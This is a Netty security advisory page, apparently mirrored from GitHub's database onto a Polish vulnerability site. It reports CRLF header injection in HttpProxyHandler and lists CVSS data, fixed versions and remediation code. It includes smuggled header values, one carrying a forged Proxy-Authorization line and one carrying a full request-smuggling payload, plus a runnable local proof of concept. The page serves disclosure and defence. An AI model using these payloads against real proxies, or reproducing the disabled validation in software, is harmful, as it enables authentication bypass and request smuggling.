Niska

Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)

  • Ujawniono: 07.05.2026
  • Aktualizacja: 11.10.2026 13:20

Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty

1. Vulnerability Summary

Field Value
Product Netty
Version 4.2.12.Final (and all prior versions)
Component io.netty.handler.proxy.HttpProxyHandler
Vulnerability Type CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
Impact HTTP Header Injection in CONNECT Proxy Requests
CVSS 3.1 Score 7.5 (High)
CVSS 3.1 Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Related Advisory GHSA-84h7-rjj3-6jx4 (Incomplete Fix)

2. Affected Components

  • io.netty.handler.proxy.HttpProxyHandler — newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)

3. Vulnerability Description

Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.

Root Cause

java
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
    // ...
    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
        .withValidation(false);  // <-- VALIDATION EXPLICITLY DISABLED

    FullHttpRequest req = new DefaultFullHttpRequest(
        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

    req.headers().set(HttpHeaderNames.HOST, hostHeader);

    if (authorization != null) {
        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
    }

    if (outboundHeaders != null) {
        req.headers().add(outboundHeaders);  // <-- USER HEADERS ADDED WITHOUT VALIDATION
    }

    return req;
}

The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.

Incomplete Fix of GHSA-84h7-rjj3-6jx4

This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.

The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:

  1. The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
  2. User-provided outboundHeaders are added without any CRLF check
  3. The resulting CONNECT request contains unvalidated headers on the wire

This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

  1. An application uses HttpProxyHandler with user-influenced outboundHeaders
  2. The application does not perform its own CRLF sanitization on header values

Common affected patterns:

  • HTTP proxy clients that forward user-specified custom headers
  • Web scraping frameworks that allow users to set proxy headers
  • API gateways that pass user headers through a proxy tunnel

5. Attack Scenarios

Scenario 1: Proxy Authentication Bypass

java
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput);  // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);

Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="

Wire format:

CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4=    <-- INJECTED

The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.

Scenario 2: Request Smuggling via Proxy

Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"

Injects a full smuggled request through the proxy tunnel establishment.

6. Proof of Concept

Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)

java
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
  Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
  Header accepted: YES (validation disabled!)
  Wire format:
    CONNECT target.com:443 HTTP/1.1\r
    host: target.com:443\r
    X-Forwarded-For: 1.2.3.4\r
    X-Forwarded-For: 127.0.0.1\r          <-- INJECTED
    X-Admin: true\r                        <-- INJECTED
    \r

  Injected X-Admin header in wire: true
  VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
  With validation=true:
    SAFE: Rejected - IllegalArgumentException
  With validation=false:
    VULNERABLE: Accepted CRLF in header value!
    Stored value contains CRLF: true

7. Remediation Recommendations

Option 1: Remove withValidation(false)

java
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();

Option 2: Validate outboundHeaders Before Adding

java
if (outboundHeaders != null) {
    for (Map.Entry<String, String> entry : outboundHeaders) {
        HttpUtil.validateHeaderValue(entry.getValue());
    }
    req.headers().add(outboundHeaders);
}

8. Resources

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Java / Kotlin (Maven) io.netty:netty-handler-proxy < 4.1.133.Final, >= 4.2.0.Alpha1, < 4.2.13.Final 4.1.133.Final, 4.2.13.Final

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Słabość (CWE)
CWE-113
Platforma
Java / Kotlin (Maven)
Paczka
io.netty:netty-handler-proxy
Ujawniono
07.05.2026
Aktualizacja
11.10.2026 13:20

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-45q3-82m4-75jr - CC BY 4.0

Historia podatności: io.netty:netty-handler-proxy

Wszystkie opisane podatności tej paczki (Java / Kotlin (Maven)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

To jedyna znana podatność tej paczki.

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.